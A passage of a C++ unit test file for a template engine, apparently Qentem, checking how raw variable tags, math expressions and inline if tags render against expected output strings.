R"({rA)", R"(Render())"); content = R"({r{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({rAA)", R"(Render())"); content = R"({ra{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raA)", R"(Render())"); content = R"({ra{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raAA)", R"(Render())"); content = R"({raw{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({rawA)", R"(Render())"); content = R"({raw{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({rawAA)", R"(Render())"); /// content = R"({-{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({-A)", R"(Render())"); content = R"({-{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({-AA)", R"(Render())"); content = R"({r-{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({r-A)", R"(Render())"); content = R"({r-{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({r-AA)", R"(Render())"); content = R"({ra-{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({ra-A)", R"(Render())"); content = R"({ra-{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({ra-AA)", R"(Render())"); content = R"({raw-{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw-A)", R"(Render())"); content = R"({raw-{raw:0}{raw:0})"; EQ_VALUE(Template::Render(content, &value), R"({raw-AA)", R"(Render())"); // content = R"({raw-0})"; EQ_VALUE(Template::Render(content, &value), R"({raw-0})", R"(Render())"); content = R"({raw 0})"; EQ_VALUE(Template::Render(content, &value), R"({raw 0})", R"(Render())"); content = R"({raw:0 })"; EQ_VALUE(Template::Render(content, &value), R"({raw:0 })", R"(Render())"); content = R"({raw:0 )"; EQ_VALUE(Template::Render(content, &value), R"({raw:0 )", R"(Render())"); content = R"({raw:0)"; EQ_VALUE(Template::Render(content, &value), R"({raw:0)", R"(Render())"); content = R"({ raw-0})"; EQ_VALUE(Template::Render(content, &value), R"({ raw-0})", R"(Render())"); content = R"({ raw 0})"; EQ_VALUE(Template::Render(content, &value), R"({ raw 0})", R"(Render())"); content = R"({ raw:0 })"; EQ_VALUE(Template::Render(content, &value), R"({ raw:0 })", R"(Render())"); content = R"({ raw:0 )"; EQ_VALUE(Template::Render(content, &value), R"({ raw:0 )", R"(Render())"); content = R"({ raw:0)"; EQ_VALUE(Template::Render(content, &value), R"({ raw:0)", R"(Render())"); END_SUB_TEST; } static int TestRawVariableTag4() { Value value; value += R"(<)"; value += R"(>)"; value += R"(&)"; value += R"(")"; value += R"(')"; value += R"(<>)"; value += R"(<&)"; value += R"(<&)"; value += R"(>")"; value += R"("')"; value += R"(<">)"; value += R"(<'>)"; value += R"(<&>)"; value += R"(&"&)"; value += R"("'")"; value += R"('<')"; value += R"('&')"; value += R"(<>&'")"; value += R"('"<>&)"; value += R"(<"&'>)"; value += R"(<<<<<)"; value += R"(>>>>>)"; value += R"(&&&&&)"; value += R"(""""")"; value += R"(''''')"; value += R"(A<)"; value += R"(A>)"; value += R"(A&)"; value += R"(A")"; value += R"(A')"; value += R"(A)"; value += R"(&A)"; value += R"("A)"; value += R"('A)"; value += R"(AA)"; value += R"(A&A)"; value += R"(A"A)"; value += R"(A'A)"; value += R"(AAAA)"; value += R"(AA&AA)"; value += R"(AA"AA)"; value += R"(AA'AA)"; value += R"(AA<<<>>>AA)"; value += R"(AA&&&&AA)"; value += R"(AA""""AA)"; value += R"(AA''''AA)"; value += R"(B'C"D&E'F"GI&G"K)"; value += R"(AB"CD'EFIGK')"; value += R"("ABC'DEFGK<)"; value += R"(A""BC<>FG''HI&&GK)"; EQ_VALUE(Template::Render(R"({raw:0})", &value), R"(<)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:1})", &value), R"(>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:2})", &value), R"(&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:3})", &value), R"(")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:4})", &value), R"(')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:5})", &value), R"(<>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:6})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:7})", &value), R"(<&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:8})", &value), R"(>")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:9})", &value), R"("')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:10})", &value), R"(<">)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:11})", &value), R"(<'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:12})", &value), R"(<&>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:13})", &value), R"(&"&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:14})", &value), R"("'")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:15})", &value), R"('<')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:16})", &value), R"('&')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:17})", &value), R"(<>&'")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:18})", &value), R"('"<>&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:19})", &value), R"(<"&'>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:20})", &value), R"(<<<<<)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:21})", &value), R"(>>>>>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:22})", &value), R"(&&&&&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:23})", &value), R"(""""")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:24})", &value), R"(''''')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:25})", &value), R"(A<)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:26})", &value), R"(A>)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:27})", &value), R"(A&)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:28})", &value), R"(A")", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:29})", &value), R"(A')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:30})", &value), R"(A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:32})", &value), R"(&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:33})", &value), R"("A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:34})", &value), R"('A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:35})", &value), R"(AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:37})", &value), R"(A&A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:38})", &value), R"(A"A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:39})", &value), R"(A'A)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:40})", &value), R"(AAAA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:42})", &value), R"(AA&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:43})", &value), R"(AA"AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:44})", &value), R"(AA'AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:45})", &value), R"(AA<<<>>>AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:47})", &value), R"(AA&&&&AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:48})", &value), R"(AA""""AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:49})", &value), R"(AA''''AA)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:50})", &value), R"(B'C"D&E'F"GI&G"K)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:51})", &value), R"(AB"CD'EFIGK')", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:52})", &value), R"("ABC'DEFGK<)", R"(Render())"); EQ_VALUE(Template::Render(R"({raw:53})", &value), R"(A""BC<>FG''HI&&GK)", R"(Render())"); END_SUB_TEST; } static int TestMathTag1() { Value value; value[R"(a1)"] = 5; value[R"(a2)"] = true; value[R"(a3)"] = nullptr; value[R"(a4)"] = false; value[R"(a5)"] = R"(10)"; value[R"(a6)"] = R"(20)"; value[R"(a7)"] = 6; value[R"(a8)"] = 1; value[R"(a9)"] = R"(1)"; value[R"(eq)"] = R"((8+1+{var:a8}))"; EQ_VALUE(Template::Render(R"({math:1+1})", &value), R"(2)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1}+8})", &value), R"(13)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a7}+8})", &value), R"(14)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a7}+{var:a1}})", &value), R"(11)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a5}+{var:a1}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1}+{var:a5}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}+{var:a5}})", &value), R"(30)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}*{var:a2}})", &value), R"(20)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}*{var:a4}})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}*{var:a7}})", &value), R"(120)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a7}+{var:a6}})", &value), R"(26)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1}+{var:a2}})", &value), R"(6)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a8}=={var:a2}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a2}=={var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a5}!={var:a1}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a2}!={var:a4}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a2}==true})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a9}=={var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a8}=={var:a9}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1=={var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:6-5==({var:a9})})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:6-5==({var:a8})})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:null!={var:a3}})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:({var:a3})==(0)})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1}+{var:a7}})", &value), R"(11)", R"(Render())"); EQ_VALUE(Template::Render( R"({math:{var:a1}+{var:a7}}{math:{var:a1}+{var:a7}})", &value), R"(1111)", R"(Render())"); EQ_VALUE( Template::Render(R"({math:{var:a1}+{var:a7}}*{math:{var:a1}+{var:a7}})", &value), R"(11*11)", R"(Render())"); EQ_VALUE( Template::Render( R"({math:{var:a1}+{var:a7}}##{math:{var:a1}+{var:a7}})", &value), R"(11##11)", R"(Render())"); EQ_VALUE( Template::Render( R"({math:{var:a1}+{var:a7}}&&&%%^^&&*{math:{var:a1}+{var:a7}})", &value), R"(11&&&%%^^&&*11)", R"(Render())"); /////////////////// EQ_VALUE(Template::Render(R"({math: {var:a1}+8})", &value), R"(13)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:a7}+8})", &value), R"(14)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:a7}+{var:a1}})", &value), R"(11)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a5} +{var:a1}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1} +{var:a5}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6} +{var:a5}})", &value), R"(30)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}* {var:a2}})", &value), R"(20)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}* {var:a4}})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a6}* {var:a7}})", &value), R"(120)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a7}+{var:a6} })", &value), R"(26)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a1}+{var:a2} })", &value), R"(6)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a8}=={var:a2} })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a2}=={var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:a5}!={var:a1} })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:a2}!={var:a4} })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: 1=={var:a9} })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a9} == {var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:a8} == {var:a9}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1== {var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:6-5 ==1})", &value), R"(1)", R"(Render())"); EQ_VALUE( Template::Render(R"({math:1 == {var:a8}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: 0 != ({var:a3}) })", &value), R"(0)", R"(Render())"); EQ_VALUE( Template::Render(R"({math:{var:a3} == null })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:eq}})", &value), R"(10)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:10==(8+1+{var:a8})})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:eq}==9+1})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:(5*2)=={var:eq}})", &value), R"(1)", R"(Render())"); ////////////// value.Reset(); value += 5; value += true; value += nullptr; value += false; value += R"(10)"; value += R"(20)"; value += 6; value += 1; value += R"(1)"; value += R"(Qentem)"; EQ_VALUE(Template::Render(R"({math:{var:0}+8})", &value), R"(13)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:6}+8})", &value), R"(14)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:6}+{var:0}})", &value), R"(11)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:4}+{var:0}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}+{var:4}})", &value), R"(15)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:5}+{var:4}})", &value), R"(30)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:5}*{var:1}})", &value), R"(20)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:5}*{var:3}})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:5}*{var:6}})", &value), R"(120)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:6}+{var:5}})", &value), R"(26)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}+{var:1}})", &value), R"(6)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:7}=={var:1}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}=={var:7}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:4}!={var:0}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}!={var:3}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:({var:1})==({var:8})})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"(-{math:{var:8}=={var:7}})", &value), R"(-1)", R"(Render())"); EQ_VALUE(Template::Render(R"(--{math:{var:7}=={var:8}})", &value), R"(--1)", R"(Render())"); EQ_VALUE(Template::Render(R"(---{math:1=={var:7}})", &value), R"(---1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1==({var:8})}-)", &value), R"(1-)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:6-5==({var:7})}--)", &value), R"(1--)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:0==({var:2})}---)", &value), R"(1---)", R"(Render())"); EQ_VALUE(Template::Render(R"(-{math:{var:2}!=null}-)", &value), R"(-0-)", R"(Render())"); EQ_VALUE(Template::Render(R"(--{math:Qente=={var:9}}--)", &value), R"(--0--)", R"(Render())"); EQ_VALUE(Template::Render(R"(---{math:Qente !={var:9}}---)", &value), R"(---1---)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: Qentem =={var:9}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: Qentem!={var:9}})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:9} == Qente})", &value), R"(0)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:9} != Qente })", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:9} ==Qentem})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:9} !=Qentem})", &value), R"(0)", R"(Render())"); ///////// EQ_VALUE(Template::Render(R"({math: true == {var:1}})", &value), R"(1)", R"(Render())"); EQ_VALUE(Template::Render(R"({math: {var:1} == true})", &value), R"(1)", R"(Render())"); END_SUB_TEST; } static int TestMathTag2() { Value value; value += Array>(); value += HArray, char>(); value += 5; EQ_VALUE(Template::Render(R"({math:{var:0}+8})", &value), R"({math:{var:0}+8})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}+8})", &value), R"({math:{var:1}+8})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}+{var:0}})", &value), R"({math:{var:2}+{var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}+{var:0}})", &value), R"({math:{var:2}+{var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}+{var:1}})", &value), R"({math:{var:0}+{var:1}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}+{var:2}})", &value), R"({math:{var:1}+{var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}*{var:1}})", &value), R"({math:{var:2}*{var:1}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}*{var:1}})", &value), R"({math:{var:0}*{var:1}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}*{var:2}})", &value), R"({math:{var:0}*{var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}+{var:0}})", &value), R"({math:{var:2}+{var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}+{var:2}})", &value), R"({math:{var:1}+{var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}=={var:1}})", &value), R"({math:{var:0}=={var:1}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}=={var:0}})", &value), R"({math:{var:1}=={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}!={var:2}})", &value), R"({math:{var:0}!={var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}!={var:0}})", &value), R"({math:{var:2}!={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}=={var:2}})", &value), R"({math:{var:1}=={var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:8}=={var:7}})", &value), R"({math:{var:8}=={var:7}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:7}=={var:2}})", &value), R"({math:{var:7}=={var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1=={var:7}})", &value), R"({math:1=={var:7}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:(6-5)=={var:8}})", &value), R"({math:(6-5)=={var:8}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:(6-5)=={var:0}})", &value), R"({math:(6-5)=={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}=={var:8}})", &value), R"({math:{var:0}=={var:8}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:0}=={var:0}})", &value), R"({math:{var:0}=={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:0=={var:1}})", &value), R"({math:0=={var:1}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:1}!=0})", &value), R"({math:{var:1}!=0})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:W={var:0}})", &value), R"({math:W={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:W=={var:0}})", &value), R"({math:W=={var:0}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2}==c})", &value), R"({math:{var:2}==c})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:abc=={var:2}})", &value), R"({math:abc=={var:2}})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:sds})", &value), R"({math:sds})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1)", &value), R"({math:1)", R"(Render())"); EQ_VALUE(Template::Render(R"(math:1})", &value), R"(math:1})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:{var:2})", &value), R"({math:5)", R"(Render())"); EQ_VALUE(Template::Render(R"({{math:{var:2}+5})", &value), R"({10)", R"(Render())"); EQ_VALUE(Template::Render(R"({m{var:2}})", &value), R"({m5})", R"(Render())"); EQ_VALUE(Template::Render(R"({ma{var:2}})", &value), R"({ma5})", R"(Render())"); EQ_VALUE(Template::Render(R"({mat{var:2}})", &value), R"({mat5})", R"(Render())"); EQ_VALUE(Template::Render(R"({math{var:2}})", &value), R"({math5})", R"(Render())"); EQ_VALUE(Template::Render(R"({math {var:2}})", &value), R"({math 5})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:})", &value), R"({math:})", R"(Render())"); EQ_VALUE(Template::Render(R"({math-{var:2}}{math:{var:2}+5})", &value), R"({math-5}10)", R"(Render())"); EQ_VALUE(Template::Render(R"({math-4}{math:{var:2}+5})", &value), R"({math-4}10)", R"(Render())"); EQ_VALUE(Template::Render(R"({math-4} {math:{var:2}+5})", &value), R"({math-4} 10)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:4)", &value), R"({math:4)", R"(Render())"); EQ_VALUE(Template::Render(R"({math:4 )", &value), R"({math:4 )", R"(Render())"); EQ_VALUE(Template::Render(R"({math:A==1+1})", &value), R"({math:A==1+1})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:(A)!=1+1})", &value), R"({math:(A)!=1+1})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1+1==A})", &value), R"({math:1+1==A})", R"(Render())"); EQ_VALUE(Template::Render(R"({math:1+1!=(A)})", &value), R"({math:1+1!=(A)})", R"(Render())"); END_SUB_TEST; } static int TestInlineIfTag() { Value value; const char *content; value += 0; value += 1; value += -1; value += true; value += false; value += nullptr; value += R"(ABC)"; value += Array>(); content = R"({if case="0" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="-1" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="0.1" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="1" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); //// content = R"({if case="0" true="T"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="-1" true="T"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="0.1" true="T"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="1" true="T"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); /// content = R"({if case="0" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="-1" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="0.1" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="1" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); ///// content = R"({if case="{var:0}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="{var:2}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="{raw:4}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="{var:5}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(F)", R"(Render())"); content = R"({if case="{var:6}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="fas" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="{var:7}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if case="{var:20}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); //// content = R"({if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="{var:3}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="{var:6}==ABC" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); ///////////////// content = R"({if case=" {var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="{var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case=" {var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="{var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case=" {var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="{var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); //// content = R"(-{if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(-T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"}-)"; EQ_VALUE(Template::Render(content, &value), R"(T-)", R"(Render())"); content = R"(-{if case=" {var:1} " true="T" false="F"}-)"; EQ_VALUE(Template::Render(content, &value), R"(-T-)", R"(Render())"); content = R"(--{if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(--T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"}--)"; EQ_VALUE(Template::Render(content, &value), R"(T--)", R"(Render())"); content = R"(--{if case=" {var:1} " true="T" false="F"}--)"; EQ_VALUE(Template::Render(content, &value), R"(--T--)", R"(Render())"); content = R"(---{if case=" {var:1} " true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(---T)", R"(Render())"); content = R"({if case=" {var:1} " true="T" false="F"}---)"; EQ_VALUE(Template::Render(content, &value), R"(T---)", R"(Render())"); content = R"(---{if case=" {var:1} " true="T" false="F"}---)"; EQ_VALUE(Template::Render(content, &value), R"(---T---)", R"(Render())"); content = R"({if case="1" true="T"}{if case="0" false="F"}{if case="1" true="T"})"; EQ_VALUE(Template::Render(content, &value), R"(TFT)", R"(Render())"); /////// content = R"({if case="{var:7}" true="T" false="F"}{if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(T)", R"(Render())"); content = R"({if case="01" true="{var:3}" false="{var:4}"}--)"; EQ_VALUE(Template::Render(content, &value), R"(--)", R"(Render())"); content = R"({if case="" true="c" false="d"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({i)"; EQ_VALUE(Template::Render(content, &value), R"({i)", R"(Render())"); content = R"({if)"; EQ_VALUE(Template::Render(content, &value), R"({if)", R"(Render())"); content = R"({if})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({{if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"({T)", R"(Render())"); content = R"({i{if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"({iT)", R"(Render())"); content = R"({if{if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"({ifT)", R"(Render())"); content = R"({if case="{var:1}" put="F"})"; EQ_VALUE(Template::Render(content, &value), R"()", R"(Render())"); content = R"({if{if case="1" true="T" false="F"}}{if case="1" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"(TT)", R"(Render())"); content = R"({if{if case="{raw:1}" true="T" false="F"}{if case="{var:1}" true="T" false="F"})"; EQ_VALUE(Template::Render(content, &value), R"({ifTT)", R"(Render())"); ///// content = R"({if case="0" true="{var:3}" false="{var:4}"})"; EQ_VALUE(Template::Render(content, &value), R"(false)", R"(Render())"); content = R"({if case="1" true="{var:3}" false="{var:4}"})"; EQ_VALUE(Template::Render(content, &value), 